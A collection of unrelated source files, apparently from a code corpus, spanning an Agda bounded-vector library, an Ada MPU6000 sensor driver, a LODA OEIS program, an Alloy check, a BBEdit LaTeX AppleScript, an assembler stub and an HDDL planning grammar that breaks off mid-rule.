open import Data.Vec.Base as Vec using (Vec)
open import Data.These.Base as These using (These)
open import Function
open import Relation.Nullary
open import Relation.Unary
open import Relation.Binary.PropositionalEquality as P using (_≡_; refl)
private
variable
a b c p : Level
A : Set a
B : Set b
C : Set c
------------------------------------------------------------------------
-- Types
infix 4 _,_
record Vec≤ (A : Set a) (n : ℕ) : Set a where
constructor _,_
field {length} : ℕ
vec : Vec A length
.bound : length ≤ n
------------------------------------------------------------------------
-- Conversion functions
fromVec : ∀ {n} → Vec A n → Vec≤ A n
fromVec v = v , ℕₚ.≤-refl
padRight : ∀ {n} → A → Vec≤ A n → Vec A n
padRight a (vs , m≤n)
with recompute (_ ℕₚ.≤″? _) (ℕₚ.≤⇒≤″ m≤n)
... | less-than-or-equal refl = vs Vec.++ Vec.replicate a
padLeft : ∀ {n} → A → Vec≤ A n → Vec A n
padLeft a as@(vs , m≤n)
with recompute (_ ℕₚ.≤″? _) (ℕₚ.≤⇒≤″ m≤n)
... | less-than-or-equal {k} ∣as∣+k≡n
with P.trans (ℕₚ.+-comm k (Vec≤.length as)) ∣as∣+k≡n
... | refl = Vec.replicate a Vec.++ vs
private
split : ∀ {m n} k → m + k ≡ n → ⌊ k /2⌋ + (m + ⌈ k /2⌉) ≡ n
split {m} {n} k eq = begin
⌊ k /2⌋ + (m + ⌈ k /2⌉) ≡⟨ ℕₚ.+-comm ⌊ k /2⌋ _ ⟩
m + ⌈ k /2⌉ + ⌊ k /2⌋ ≡⟨ ℕₚ.+-assoc m ⌈ k /2⌉ ⌊ k /2⌋ ⟩
m + (⌈ k /2⌉ + ⌊ k /2⌋) ≡⟨ P.cong (m +_) (ℕₚ.+-comm ⌈ k /2⌉ ⌊ k /2⌋) ⟩
m + (⌊ k /2⌋ + ⌈ k /2⌉) ≡⟨ P.cong (m +_) (ℕₚ.⌊n/2⌋+⌈n/2⌉≡n k) ⟩
m + k ≡⟨ eq ⟩
n ∎ where open P.≡-Reasoning
padBoth : ∀ {n} → A → A → Vec≤ A n → Vec A n
padBoth aₗ aᵣ as@(vs , m≤n)
with recompute (_ ℕₚ.≤″? _) (ℕₚ.≤⇒≤″ m≤n)
... | less-than-or-equal {k} ∣as∣+k≡n
with split k ∣as∣+k≡n
... | refl = Vec.replicate {n = ⌊ k /2⌋} aₗ
Vec.++ vs
Vec.++ Vec.replicate {n = ⌈ k /2⌉} aᵣ
fromList : (as : List A) → Vec≤ A (List.length as)
fromList = fromVec ∘ Vec.fromList
toList : ∀ {n} → Vec≤ A n → List A
toList = Vec.toList ∘ Vec≤.vec
------------------------------------------------------------------------
-- Creating new Vec≤ vectors
replicate : ∀ {m n} .(m≤n : m ≤ n) → A → Vec≤ A n
replicate m≤n a = Vec.replicate a , m≤n
[] : ∀ {n} → Vec≤ A n
[] = Vec.[] , z≤n
infixr 5 _∷_
_∷_ : ∀ {n} → A → Vec≤ A n → Vec≤ A (suc n)
a ∷ (as , p) = a Vec.∷ as , s≤s p
------------------------------------------------------------------------
-- Modifying Vec≤ vectors
≤-cast : ∀ {m n} → .(m≤n : m ≤ n) → Vec≤ A m → Vec≤ A n
≤-cast m≤n (v , p) = v , ℕₚ.≤-trans p m≤n
≡-cast : ∀ {m n} → .(eq : m ≡ n) → Vec≤ A m → Vec≤ A n
≡-cast m≡n = ≤-cast (ℕₚ.≤-reflexive m≡n)
map : (A → B) → ∀ {n} → Vec≤ A n → Vec≤ B n
map f (v , p) = Vec.map f v , p
reverse : ∀ {n} → Vec≤ A n → Vec≤ A n
reverse (v , p) = Vec.reverse v , p
-- Align and Zip.
alignWith : (These A B → C) → ∀ {n} → Vec≤ A n → Vec≤ B n → Vec≤ C n
alignWith f (as , p) (bs , q) = Vec.alignWith f as bs , ℕₚ.⊔-least p q
zipWith : (A → B → C) → ∀ {n} → Vec≤ A n → Vec≤ B n → Vec≤ C n
zipWith f (as , p) (bs , q) = Vec.restrictWith f as bs , ℕₚ.m≤n⇒m⊓o≤n _ p
zip : ∀ {n} → Vec≤ A n → Vec≤ B n → Vec≤ (A × B) n
zip = zipWith _,_
align : ∀ {n} → Vec≤ A n → Vec≤ B n → Vec≤ (These A B) n
align = alignWith id
-- take and drop
take : ∀ {m} n → Vec≤ A m → Vec≤ A (n ⊓ m)
take zero _ = []
take (suc n) (Vec.[] , p) = []
take {m = suc m} (suc n) (a Vec.∷ as , p) = a ∷ take n (as , ℕₚ.≤-pred p)
drop : ∀ {m} n → Vec≤ A m → Vec≤ A (m ∸ n)
drop zero v = v
drop (suc n) (Vec.[] , p) = []
drop {m = suc m} (suc n) (a Vec.∷ as , p) = drop n (as , ℕₚ.≤-pred p)
------------------------------------------------------------------------
-- Lifting a collection of bounded vectors to the same size
rectangle : List (∃ (Vec≤ A)) → ∃ (List ∘ Vec≤ A)
rectangle {A = A} rows = width , padded where
sizes = List.map proj₁ rows
width = max 0 sizes
all≤ : All (λ v → proj₁ v ≤ width) rows
all≤ = Allₚ.map⁻ (xs≤max 0 sizes)
padded : List (Vec≤ A width)
padded = mapWith∈ rows $ λ {x} x∈rows →
≤-cast (All.lookup all≤ x∈rows) (proj₂ x)
|
oeis/168/A168378.asm
|
neoneye/loda-programs
| 11
|
89499
|
; A168378: a(n) = 3 + 8*floor(n/2).
; Submitted by <NAME>
; 3,11,11,19,19,27,27,35,35,43,43,51,51,59,59,67,67,75,75,83,83,91,91,99,99,107,107,115,115,123,123,131,131,139,139,147,147,155,155,163,163,171,171,179,179,187,187,195,195,203,203,211,211,219,219,227,227,235,235,243,243,251,251,259,259,267,267,275,275,283,283,291,291,299,299,307,307,315,315,323,323,331,331,339,339,347,347,355,355,363,363,371,371,379,379,387,387,395,395,403
add $0,1
div $0,2
mul $0,8
add $0,3
|
software/hal/boards/components/MPU6000/mpu6000-driver.adb
|
TUM-EI-RCS/StratoX
| 12
|
21292
|
with MPU6000.Register; use MPU6000.Register;
with Ada.Unchecked_Conversion;
--with Config.Software;
package body MPU6000.Driver with SPARK_Mode,
Refined_State => (State => Is_Init)
is
READ_FLAG : constant Byte := Byte( 2#1000_0000# );
-- Public procedures and functions
------------------
-- MPU6000_Test --
------------------
function Test return Boolean is
begin
return Is_Init;
end Test;
-- Private procedures and functions
--------------------------------
-- Evaluate_Self_Test --
--------------------------------
function Evaluate_Self_Test
(Low : Float;
High : Float;
Value : Float;
Debug_String : String) return Boolean
is
pragma Unreferenced (Debug_String);
ret : Boolean;
begin
if Value not in Low .. High then
ret := False;
else
ret := True;
end if;
return ret;
end Evaluate_Self_Test;
---------------------------
-- Read_Register --
---------------------------
procedure Read_Register
(Reg_Addr : Byte;
Data : in out Data_Type)
with SPARK_Mode => Off -- SPARK: subtype constraint for Data_RX cannot depend on Data'Length
is
Data_TX : constant Data_Type := (Reg_Addr + READ_FLAG) & Data;
Data_RX : Data_Type (1 .. Data'Length + 1) := (others => Byte(0));
begin
HIL.SPI.transceive(HIL.SPI.MPU6000, Data_TX, Data_RX ); -- send the amount of bytes that should be read
Data := Data_RX(2 .. Data_RX'Length);
end Read_Register;
-----------------------------------
-- Read_Byte_At_Register --
-----------------------------------
procedure Read_Byte_At_Register
(Reg_Addr : Byte;
Data : in out Byte)
is
Data_RX : Data_Type := (1 .. 2 => Byte( 0 ) );
begin
--HIL.SPI.write(HIL.SPI.MPU6000, (1 => Reg_Addr) );
HIL.SPI.transceive(HIL.SPI.MPU6000, (1 => (Reg_Addr + READ_FLAG), 2 => Data), Data_RX );
Data := Data_RX(2);
end Read_Byte_At_Register;
----------------------------------
-- Read_Bit_At_Register --
----------------------------------
procedure Read_Bit_At_Register
(Reg_Addr : Byte;
Bit_Pos : Unsigned_8_Bit_Index;
Bit_Value : out Boolean)
is
Register_Value : Byte := Byte (0);
begin
Read_Byte_At_Register (Reg_Addr, Register_Value);
Bit_Value := (if (Register_Value and Shift_Left (1, Bit_Pos)) /= 0 then
True
else
False);
end Read_Bit_At_Register;
----------------------------
-- Write_Register --
----------------------------
procedure Write_Register
(Reg_Addr : Byte;
Data : Data_Type)
is
Data_TX : constant Data_Type := Reg_Addr & Data;
begin
HIL.SPI.write(HIL.SPI.MPU6000, Data_TX);
end Write_Register;
------------------------------------
-- Write_Byte_At_Register --
------------------------------------
procedure Write_Byte_At_Register
(Reg_Addr : Byte;
Data : Byte)
is
Data_TX : constant Data_Type := (1 => Reg_Addr) & Data;
begin
HIL.SPI.write(HIL.SPI.MPU6000, Data_TX);
end Write_Byte_At_Register;
-----------------------------------
-- Write_Bit_At_Register --
-----------------------------------
procedure Write_Bit_At_Register
(Reg_Addr : Byte;
Bit_Pos : Unsigned_8_Bit_Index;
Bit_Value : Boolean)
is
Register_Value : Byte := Byte( 0 );
begin
Read_Byte_At_Register (Reg_Addr, Register_Value);
Register_Value := (if Bit_Value then
Register_Value or (Shift_Left (1, Bit_Pos))
else
Register_Value and not (Shift_Left (1, Bit_Pos)));
Write_Byte_At_Register (Reg_Addr, Register_Value);
end Write_Bit_At_Register;
------------------------------------
-- Write_Bits_At_Register --
------------------------------------
procedure Write_Bits_At_Register
(Reg_Addr : Byte;
Start_Bit_Pos : Unsigned_8_Bit_Index;
Data : Byte;
Length : Unsigned_8_Bit_Index)
is
Register_Value : Byte := Byte (0);
Mask : Byte;
Data_Aux : Byte := Data;
begin
Read_Byte_At_Register (Reg_Addr, Register_Value);
Mask := Shift_Left
((Shift_Left (1, Length) - 1), Start_Bit_Pos - Length + 1);
Data_Aux := Shift_Left
(Data_Aux, Start_Bit_Pos - Length + 1);
Data_Aux := Data_Aux and Mask;
Register_Value := Register_Value and not Mask;
Register_Value := Register_Value or Data_Aux;
Write_Byte_At_Register (Reg_Addr, Register_Value);
end Write_Bits_At_Register;
--------------------------------------
-- Fuse_Low_And_High_Register_Parts --
--------------------------------------
function Fuse_Low_And_High_Register_Parts
(High : Byte;
Low : Byte) return Integer_16
is
-------------------------
-- Unsigned_16_To_Integer_16 --
-------------------------
function Unsigned_16_To_Integer_16 is new Ada.Unchecked_Conversion
(Unsigned_16, Integer_16);
Register : Unsigned_16;
begin
Register := Shift_Left (Unsigned_16 (High), 8);
Register := Register or Unsigned_16 (Low);
return Unsigned_16_To_Integer_16 (Register);
end Fuse_Low_And_High_Register_Parts;
------------------------------
-- MPU6000_Set_Clock_Source --
------------------------------
procedure Set_Clock_Source (Clock_Source : MPU6000_Clock_Source) with SPARK_Mode => Off -- not allowed: Enum'Rep
is
begin
Write_Bits_At_Register
(Reg_Addr => MPU6000_RA_PWR_MGMT_1,
Start_Bit_Pos => MPU6000_PWR1_CLKSEL_BIT,
Data => MPU6000_Clock_Source'Enum_Rep (Clock_Source),
Length => MPU6000_PWR1_CLKSEL_LENGTH);
end Set_Clock_Source;
---------------------------
-- MPU6000_Set_DLPF_Mode --
---------------------------
procedure Set_DLPF_Mode (DLPF_Mode : MPU6000_DLPF_Bandwidth_Mode) with SPARK_Mode => Off -- not allowed: Enum'Rep
is
begin
Write_Bits_At_Register
(Reg_Addr => MPU6000_RA_CONFIG,
Start_Bit_Pos => MPU6000_CFG_DLPF_CFG_BIT,
Data => MPU6000_DLPF_Bandwidth_Mode'Enum_Rep (DLPF_Mode),
Length => MPU6000_CFG_DLPF_CFG_LENGTH);
end Set_DLPF_Mode;
---------------------------------------
-- MPU6000_Set_Full_Scale_Gyro_Range --
---------------------------------------
procedure Set_Full_Scale_Gyro_Range
(FS_Range : MPU6000_FS_Gyro_Range) with SPARK_Mode => Off -- not allowed: Enum'Rep
is
begin
Write_Bits_At_Register
(Reg_Addr => MPU6000_RA_GYRO_CONFIG,
Start_Bit_Pos => MPU6000_GCONFIG_FS_SEL_BIT,
Data => MPU6000_FS_Gyro_Range'Enum_Rep (FS_Range),
Length => MPU6000_GCONFIG_FS_SEL_LENGTH);
end Set_Full_Scale_Gyro_Range;
----------------------------------------
-- MPU6000_Set_Full_Scale_Accel_Range --
----------------------------------------
procedure Set_Full_Scale_Accel_Range
(FS_Range : MPU6000_FS_Accel_Range) with SPARK_Mode => Off -- not allowed: Enum'Rep
is
begin
Write_Bits_At_Register
(Reg_Addr => MPU6000_RA_ACCEL_CONFIG,
Start_Bit_Pos => MPU6000_ACONFIG_AFS_SEL_BIT,
Data => MPU6000_FS_Accel_Range'Enum_Rep (FS_Range),
Length => MPU6000_ACONFIG_AFS_SEL_LENGTH);
end Set_Full_Scale_Accel_Range;
------------------------------------
-- MPU6000_Set_I2C_Bypass_Enabled --
------------------------------------
procedure Set_I2C_Bypass_Enabled (Value : Boolean) is
begin
Write_Bit_At_Register
(Reg_Addr => MPU6000_RA_INT_PIN_CFG,
Bit_Pos => MPU6000_INTCFG_I2C_BYPASS_EN_BIT,
Bit_Value => Value);
end Set_I2C_Bypass_Enabled;
-----------------------------
-- MPU6000_Set_Int_Enabled --
-----------------------------
procedure Set_Int_Enabled (Value : Boolean) is
begin
-- Full register byte for all interrupts, for quick reading.
-- Each bit should be set 0 for disabled, 1 for enabled.
if Value then
Write_Byte_At_Register
(Reg_Addr => MPU6000_RA_INT_ENABLE,
Data => 16#FF#);
else
Write_Byte_At_Register
(Reg_Addr => MPU6000_RA_INT_ENABLE,
Data => 16#00#);
end if;
end Set_Int_Enabled;
----------------------
-- MPU6000_Set_Rate --
----------------------
procedure Set_Rate (Rate_Div : Byte) is
begin
Write_Byte_At_Register
(Reg_Addr => MPU6000_RA_SMPLRT_DIV,
Data => Rate_Div);
end Set_Rate;
-------------------------------
-- MPU6000_Set_Sleep_Enabled --
-------------------------------
procedure Set_Sleep_Enabled (Value : Boolean) is
begin
Write_Bit_At_Register
(Reg_Addr => MPU6000_RA_PWR_MGMT_1,
Bit_Pos => MPU6000_PWR1_SLEEP_BIT,
Bit_Value => Value);
end Set_Sleep_Enabled;
-------------------------------------
-- MPU6000_Set_Temp_Sensor_Enabled --
-------------------------------------
procedure Set_Temp_Sensor_Enabled (Value : Boolean) is
begin
-- True value for this bit actually disables it.
Write_Bit_At_Register
(Reg_Addr => MPU6000_RA_PWR_MGMT_1,
Bit_Pos => MPU6000_PWR1_TEMP_DIS_BIT,
Bit_Value => not Value);
end Set_Temp_Sensor_Enabled;
-------------------------------------
-- MPU6000_Get_Temp_Sensor_Enabled --
-------------------------------------
procedure Get_Temp_Sensor_Enabled (ret : out Boolean) is
bit : Boolean;
begin
Read_Bit_At_Register
(Reg_Addr => MPU6000_RA_PWR_MGMT_1,
Bit_Pos => MPU6000_PWR1_TEMP_DIS_BIT,
Bit_Value => bit);
-- False value for this bit means that it is enabled
ret := not bit;
end Get_Temp_Sensor_Enabled;
--------------------------
-- MPU6000_Get_Motion_6 --
--------------------------
procedure Get_Motion_6
(Acc_X : out Integer_16;
Acc_Y : out Integer_16;
Acc_Z : out Integer_16;
Gyro_X : out Integer_16;
Gyro_Y : out Integer_16;
Gyro_Z : out Integer_16)
is
Raw_Data : Data_Type (1 .. 14) := (others => 0);
begin
Read_Register
(Reg_Addr => MPU6000_RA_ACCEL_XOUT_H,
Data => Raw_Data);
Acc_X :=
Fuse_Low_And_High_Register_Parts (Raw_Data (1), Raw_Data (2));
Acc_Y :=
Fuse_Low_And_High_Register_Parts (Raw_Data (3), Raw_Data (4));
Acc_Z :=
Fuse_Low_And_High_Register_Parts (Raw_Data (5), Raw_Data (6));
Gyro_X :=
Fuse_Low_And_High_Register_Parts (Raw_Data (9), Raw_Data (10));
Gyro_Y :=
Fuse_Low_And_High_Register_Parts (Raw_Data (11), Raw_Data (12));
Gyro_Z :=
Fuse_Low_And_High_Register_Parts (Raw_Data (13), Raw_Data (14));
end Get_Motion_6;
-----------------------------
-- MPU6000_Test_Connection --
-----------------------------
procedure Test_Connection (success : out Boolean)
is
Who_Am_I : Byte := Byte( 0 );
begin
Read_Byte_At_Register
(Reg_Addr => MPU6000_RA_WHO_AM_I,
Data => Who_Am_I);
success := Who_Am_I = MPU6000_DEVICE_ID;
end Test_Connection;
-----------------------
-- MPU6000_Self_Test --
-----------------------
procedure Self_Test (Test_Status : out Boolean) is
data : Byte := 0;
begin
Read_Byte_At_Register (MPU6000_RA_WHO_AM_I, data);
Test_Status := data = 16#68#;
end Self_Test;
procedure Self_Test_Extended (Test_Status : out Boolean)
is
subtype Integer_32_Array_3 is Integer_32_Array (1 .. 3);
subtype Integer_32_Array_6 is Integer_32_Array (1 .. 6);
subtype Float_Array_3 is Float_Array (1 .. 3);
Raw_Data : Data_Type (1 .. 6) := (others => 0);
Saved_Reg : Data_Type (1 .. 4) := (others => 0);
Self_Test : Data_Type (1 .. 6) := (others => 0);
Acc_Avg : Integer_32_Array_3 := (others => 0);
Gyro_Avg : Integer_32_Array_3 := (others => 0);
Acc_ST_Avg : Integer_32_Array_3 := (others => 0);
Gyro_ST_Avg : Integer_32_Array_3 := (others => 0);
Factory_Trim : Integer_32_Array_6 := (others => 0);
Acc_Diff : Float_Array_3;
Gyro_Diff : Float_Array_3;
FS : constant Natural := 0;
begin
-- Save old configuration
Read_Byte_At_Register (MPU6000_RA_SMPLRT_DIV, Saved_Reg (1));
Read_Byte_At_Register (MPU6000_RA_CONFIG, Saved_Reg (2));
Read_Byte_At_Register (MPU6000_RA_GYRO_CONFIG, Saved_Reg (3));
Read_Byte_At_Register (MPU6000_RA_ACCEL_CONFIG, Saved_Reg (4));
-- Write test configuration
Write_Byte_At_Register (MPU6000_RA_SMPLRT_DIV, 16#00#);
Write_Byte_At_Register (MPU6000_RA_CONFIG, 16#02#);
Write_Byte_At_Register (MPU6000_RA_GYRO_CONFIG,
Shift_Left (1, FS));
Write_Byte_At_Register (MPU6000_RA_ACCEL_CONFIG,
Shift_Left (1, FS));
-- Get average current values of gyro and accelerometer
for I in 1 .. 200 loop
Read_Register (MPU6000_RA_ACCEL_XOUT_H, Raw_Data);
Acc_Avg (1) :=
Acc_Avg (1) +
Integer_32 (Fuse_Low_And_High_Register_Parts
(Raw_Data (1), Raw_Data (2)));
Acc_Avg (2) :=
Acc_Avg (2) +
Integer_32 (Fuse_Low_And_High_Register_Parts
(Raw_Data (3), Raw_Data (4)));
Acc_Avg (3) :=
Acc_Avg (3) +
Integer_32 (Fuse_Low_And_High_Register_Parts
(Raw_Data (5), Raw_Data (6)));
Read_Register (MPU6000_RA_GYRO_XOUT_H, Raw_Data);
Gyro_Avg (1) :=
Gyro_Avg (1) +
Integer_32 (Fuse_Low_And_High_Register_Parts
(Raw_Data (1), Raw_Data (2)));
Gyro_Avg (2) :=
Gyro_Avg (2) +
Integer_32 (Fuse_Low_And_High_Register_Parts
(Raw_Data (3), Raw_Data (4)));
Gyro_Avg (3) :=
Gyro_Avg (3) +
Integer_32 (Fuse_Low_And_High_Register_Parts
(Raw_Data (5), Raw_Data (6)));
end loop;
-- Get average of 200 values and store as average current readings
for I in Integer_32_Array_3'Range loop
Acc_Avg (I) := Acc_Avg (I) / 200;
Gyro_Avg (I) := Gyro_Avg (I) / 200;
end loop;
-- Configure the acceleromter for self test
Write_Byte_At_Register (MPU6000_RA_ACCEL_CONFIG, 16#E0#);
Write_Byte_At_Register (MPU6000_RA_GYRO_CONFIG, 16#E0#);
-- Delay a while to let the device stabilize
declare
now : Ada.Real_Time.Time := Clock;
begin
delay until now + Milliseconds (25);
end;
-- Get average self-test values of gyro and accelerometer
for I in 1 .. 200 loop
Read_Register (MPU6000_RA_ACCEL_XOUT_H, Raw_Data);
Acc_ST_Avg (1) :=
Acc_ST_Avg (1) +
Integer_32 (Fuse_Low_And_High_Register_Parts
(Raw_Data (1), Raw_Data (2)));
Acc_ST_Avg (2) :=
Acc_ST_Avg (2) +
Integer_32 (Fuse_Low_And_High_Register_Parts
(Raw_Data (3), Raw_Data (4)));
Acc_ST_Avg (3) :=
Acc_ST_Avg (3) +
Integer_32 (Fuse_Low_And_High_Register_Parts
(Raw_Data (5), Raw_Data (6)));
Read_Register (MPU6000_RA_GYRO_XOUT_H, Raw_Data);
Gyro_ST_Avg (1) :=
Gyro_ST_Avg (1) +
Integer_32 (Fuse_Low_And_High_Register_Parts
(Raw_Data (1), Raw_Data (2)));
Gyro_ST_Avg (2) :=
Gyro_ST_Avg (2) +
Integer_32 (Fuse_Low_And_High_Register_Parts
(Raw_Data (3), Raw_Data (4)));
Gyro_ST_Avg (3) :=
Gyro_ST_Avg (3) +
Integer_32 (Fuse_Low_And_High_Register_Parts
(Raw_Data (5), Raw_Data (6)));
end loop;
-- Get average of 200 values and store as average self-test readings
for I in Integer_32_Array_3'Range loop
Acc_ST_Avg (I) := Acc_ST_Avg (I) / 200;
Gyro_ST_Avg (I) := Gyro_ST_Avg (I) / 200;
end loop;
-- Configure the gyro and accelerometer for normal operation
Write_Byte_At_Register (MPU6000_RA_ACCEL_CONFIG, 16#00#);
Write_Byte_At_Register (MPU6000_RA_GYRO_CONFIG, 16#00#);
-- Delay a while to let the device stabilize
declare
now : Ada.Real_Time.Time := Clock;
begin
delay until now + Milliseconds (25);
end;
-- Retrieve Accelerometer and Gyro Factory Self - Test Code From USR_Reg
Read_Byte_At_Register (MPU6000_RA_SELF_TEST_X, Self_Test (1));
Read_Byte_At_Register (MPU6000_RA_SELF_TEST_Y, Self_Test (2));
Read_Byte_At_Register (MPU6000_RA_SELF_TEST_Z, Self_Test (3));
Read_Byte_At_Register (MPU6000_RA_SELF_TEST_X, Self_Test (4));
Read_Byte_At_Register (MPU6000_RA_SELF_TEST_Y, Self_Test (5));
Read_Byte_At_Register (MPU6000_RA_SELF_TEST_Z, Self_Test (6));
for I in 1 .. 6 loop
if Self_Test (I) /= 0 then
Factory_Trim (I) := Integer_32
(MPU6000_ST_TB (Integer (Self_Test (I))));
else
Factory_Trim (I) := 0;
end if;
end loop;
-- Report results as a ratio of (STR - FT)/FT; the change from
-- Factory Trim of the Self - Test Response
-- To get percent, must multiply by 100
declare
AFT, GFT : Float;
begin
for I in 1 .. 3 loop
AFT := Float (Factory_Trim (I));
GFT := Float (Factory_Trim (I + 3));
if AFT /= 0.0 then
Acc_Diff (I) :=
100.0 * (Float (Acc_ST_Avg (I) - Acc_Avg (I) - Factory_Trim (I)) / AFT);
else
Acc_Diff (I) := 0.0;
end if;
if GFT /= 0.0 then
Gyro_Diff (I) :=
100.0 * (Float (Gyro_ST_Avg (I) - Gyro_Avg (I) -
Factory_Trim (I + 3)) / GFT);
else
Gyro_Diff (I) := 0.0;
end if;
end loop;
end;
-- Restore old configuration
Write_Byte_At_Register
(MPU6000_RA_SMPLRT_DIV, Saved_Reg (1));
Write_Byte_At_Register
(MPU6000_RA_CONFIG, Saved_Reg (2));
Write_Byte_At_Register
(MPU6000_RA_GYRO_CONFIG, Saved_Reg (3));
Write_Byte_At_Register
(MPU6000_RA_ACCEL_CONFIG, Saved_Reg (4));
-- Check result
Test_Status := Evaluate_Self_Test
(MPU6000_ST_GYRO_LOW, MPU6000_ST_GYRO_HIGH, Gyro_Diff (1), "gyro X");
Test_Status := Test_Status and
Evaluate_Self_Test
(MPU6000_ST_GYRO_LOW, MPU6000_ST_GYRO_HIGH, Gyro_Diff (2), "gyro Y");
Test_Status := Test_Status and
Evaluate_Self_Test
(MPU6000_ST_GYRO_LOW, MPU6000_ST_GYRO_HIGH, Gyro_Diff (3), "gyro Z");
Test_Status := Test_Status and
Evaluate_Self_Test
(MPU6000_ST_ACCEL_LOW, MPU6000_ST_ACCEL_HIGH, Acc_Diff (1), "acc X");
Test_Status := Test_Status and
Evaluate_Self_Test
(MPU6000_ST_ACCEL_LOW, MPU6000_ST_ACCEL_HIGH, Acc_Diff (2), "acc Y");
Test_Status := Test_Status and
Evaluate_Self_Test
(MPU6000_ST_ACCEL_LOW, MPU6000_ST_ACCEL_HIGH, Acc_Diff (3), "acc Z");
end Self_Test_Extended;
-------------------
-- MPU6000_Reset --
-------------------
procedure Reset is
begin
Write_Bit_At_Register
(Reg_Addr => MPU6000_RA_PWR_MGMT_1,
Bit_Pos => MPU6000_PWR1_DEVICE_RESET_BIT,
Bit_Value => True);
end Reset;
------------------
-- MPU6000_Init --
------------------
procedure Init is
begin
if Is_Init then
return;
end if;
-- Wait for MPU6000 startup
delay until MPU6000_STARTUP_TIME_MS;
-- Wake-Up
Write_Bit_At_Register(MPU6000_RA_PWR_MGMT_1, MPU6000_PWR1_SLEEP_BIT, False);
declare
now : constant Ada.Real_Time.Time := Clock;
begin
delay until now + Milliseconds (10);
end;
-- Disable I2C
Write_Bit_At_Register(MPU6000_RA_USER_CTRL, MPU6000_USERCTRL_I2C_IF_DIS_BIT, True);
-- set Clock
Set_Clock_Source(Z_Gyro_Clk);
-- set sample rate
-- Sample Rate = Gyroscope Output Rate / (1 + SMPLRT_DIV)
-- Gyroscope Output Rate = (if DLPF = enabled then 1kHz else 8kHz)
Set_Rate( Byte( 19 ) ); -- 50Hz
-- set digital low pass filter (DLPF)
Set_DLPF_Mode(MPU6000_DLPF_BW_20);
-- Determine the device's I2C address (FIXME: why? this is SPI)
declare
hypothetical_i2c_address : constant HIL.Byte := Shift_Left (MPU6000_ADDRESS_AD0_HIGH, 1);
begin
null;
end;
-- Delay to wait for the state initialization of SCL and SDA
declare
now : constant Ada.Real_Time.Time := Clock;
begin
delay until now + Milliseconds (5);
end;
end Init;
end MPU6000.Driver;
|
src/adacar.adb
|
Asier98/AdaCar
| 0
|
9693
|
pragma Ada_2012;
package body AdaCar is
---------
-- "*" --
---------
function "*"
(A : Unidades_AI; Distancia : Unidades_Distancia)
return Unidades_Distancia
is
Valor_Distancia: Unidades_Distancia;
begin
Valor_Distancia:= Unidades_Distancia(A)*Distancia;
return Valor_Distancia;
end "*";
---------
-- "*" --
---------
function "*"
(Distancia: Unidades_Distancia; D: Duration)
return Unidades_Distancia
is
Valor_Distancia: Unidades_Distancia;
begin
Valor_Distancia:= Unidades_Distancia(D)*Distancia;
return Valor_Distancia;
end "*";
end AdaCar;
|
alloy4fun_models/trashltl/models/18/ybkFCPHN8m6H8MPJN.als
|
Kaixi26/org.alloytools.alloy
| 0
|
362
|
open main
pred idybkFCPHN8m6H8MPJN_prop19 {
all f : Protected | f not in Trash until f in Trash
}
pred __repair { idybkFCPHN8m6H8MPJN_prop19 }
check __repair { idybkFCPHN8m6H8MPJN_prop19 <=> prop19o }
|
Application Support/BBEdit/Scripts/Latex/Insert Latex Environment.applescript
|
bhdicaire/bbeditSetup
| 0
|
4120
|
<reponame>bhdicaire/bbeditSetup
try
set dialogResult to display dialog "Which environment?" default answer "" with title "Insert Latex environment" buttons {"Cancel", "Insert"} default button "Insert" cancel button "Cancel"
on error
return
end try
set environmentName to text returned of dialogResult
tell application "BBEdit"
set cursorLocation to selection
set selectedText to cursorLocation as text
set text of cursorLocation to "\\begin{" & environmentName & "}" & return & selectedText & return & "\\end{" & environmentName & "}"
set _insertion_length to 9 + (length of environmentName)
set _offset to characterOffset of cursorLocation
select insertion point before character (_offset + _insertion_length + (length of selectedText)) of document 1
end tell
|
dv3/msd/load.asm
|
olifink/smsqe
| 0
|
22967
|
<gh_stars>0
; DV3 MSDOS Scatter Load V3.00 1993 <NAME>
section dv3
xdef msd_ld3
xdef msd_ld4
include 'dev8_keys_hdr'
include 'dev8_dv3_keys'
include 'dev8_keys_err'
;+++
; DV3 MSDOS Scatter Load
;
; d1 c u 0 on first entry
; d2 c s length of file
; d3 c s 0 on first entry
; d6 c p file ID
; d7 c p drive ID / number
; a0 c p pointer to channel block
; a1 c p pointer to file image
; a3 c p pointer to linkage
; a4 c p pointer to drive definition
;
; status return standard
;
;---
msd_ld3
msd_ld4
moveq #err.nimp,d0
rts
end
|
doc/antlrHDDL.g4
|
galvusdamor/pandaPIparser
| 6
|
6606
|
grammar antlrHDDL;
/**
* Created by <NAME>, Ulm University (<EMAIL>)
* and <NAME>, Ulm University (<EMAIL>) [some refactoring & additions]
*
* - This file contains the grammar for the ANTLR parser generator
* - It describes an extension of the Planning Domain Definition Language to describe hierarchical
* planning problems like Hybrid Planning or Hierarchical Task Network planning.
* - It is based on the PDDL 2.1 definition by <NAME> & <NAME> (so far, only the non-temporal part)
**/
// @IGNORE
hddl_file : domain | problem;
//
// General Structure of a Domain Definition
//
// @MODIFIED
// @LABEL {The domain definition has been extended by definitions for compound tasks and methods.}
domain : '(' 'define' '(' 'domain' domain_symbol ')'
require_def?
type_def?
const_def?
predicates_def?
funtions_def?
comp_task_def* // @HIGHLIGHT
method_def* // @HIGHLIGHT
action_def* ')';
// @PDDL
domain_symbol : NAME;
//
// Requirement Statement
//
// @PDDL
require_def : '(' ':requirements' require_defs ')';
require_defs : REQUIRE_NAME+;
//
// Type Definition
//
// @PDDL
type_def : '(' ':types' type_def_list ')';
type_def_list : NAME* | (new_types '-' var_type type_def_list) ;
new_types : NAME+;
//
// Domain Constant Definition
//
// @PDDL
const_def : '(' ':constants' typed_obj_list ')';
//
// Predicate Definition
//
// @PDDL
predicates_def : '(' ':predicates' atomic_formula_skeleton+ ')';
atomic_formula_skeleton : '(' predicate typed_var_list ')';
//
// Function Definition
//
// @PDDL
funtions_def : '(' ':functions' ( atomic_formula_skeleton ('-' 'number' | var_type )?)+')';
//
// Task Definition
//
// @HDDL
// @LABEL {Abstract tasks are defined similar to actions. To use preconditions and effects in the definition,
// please add the requirement definition :htn-abstract-actions}
comp_task_def :
'(' ':task' task_def;
task_def : task_symbol
':parameters' '(' typed_var_list ')'
(':precondition' gd)?
(':effect' effect)? ')';
task_symbol : NAME;
//
// Method Definition
//
// @HDDL
// @LABEL {In a pure HTN setting, methods consist of the definition of the abstract task they may decompose as well as the
// resulting task network. The parameters of a method are supposed to include all parameters of the abstract task
// that it decomposes as well as those of the tasks in its network of subtasks. By setting the :htn-method-pre-eff
// requirement, one might use method preconditions and effects similar to the ones used in SHOP.}
method_def :
'(' ':method' method_symbol
':parameters' '(' typed_var_list ')'
